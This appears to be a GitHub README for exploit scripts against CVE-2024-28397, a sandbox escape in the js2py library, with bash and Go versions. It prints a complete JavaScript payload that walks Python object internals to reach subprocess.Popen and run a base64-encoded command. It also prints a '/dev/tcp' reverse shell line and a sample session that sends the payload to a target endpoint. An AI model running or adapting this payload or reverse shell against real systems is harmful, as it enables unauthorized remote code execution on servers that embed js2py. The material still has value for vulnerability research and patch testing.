0xdtc/js2py-sandbox-escape-cve-2024-28397-rceExploit scripts for CVE-2024-28397, a js2py sandbox escape that executes arbitrary Python code to spawn a reverse shell on a target endpoint.
A collection of exploit scripts targeting the js2py sandbox escape vulnerability (CVE-2024-28397) that allows arbitrary code execution through Python object introspection.
The js2py library contains a critical sandbox escape vulnerability that allows attackers to execute arbitrary Python code by accessing internal Python objects through JavaScript's Object.getOwnPropertyNames() method.
This exploit is based on the comprehensive analysis by Marven11:
This repository contains three different implementations:
exploit.sh)Lightweight bash implementation using curl and jq.
exploit.go)Cross-platform Go implementation with built-in HTTP client.
curl, jq, base64All scripts are interactive and will prompt for required information:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Each script will ask for:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
The exploit dynamically creates a reverse shell command:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
The shell command is base64-encoded for safe transmission:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
The core exploit uses JavaScript to access Python's internal objects:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenThese scripts are provided for educational and authorized testing purposes only. Always ensure you have proper authorization before testing against any systems.
This software is provided for educational and authorized security testing purposes only. Users are responsible for complying with applicable laws and obtaining proper authorization before use.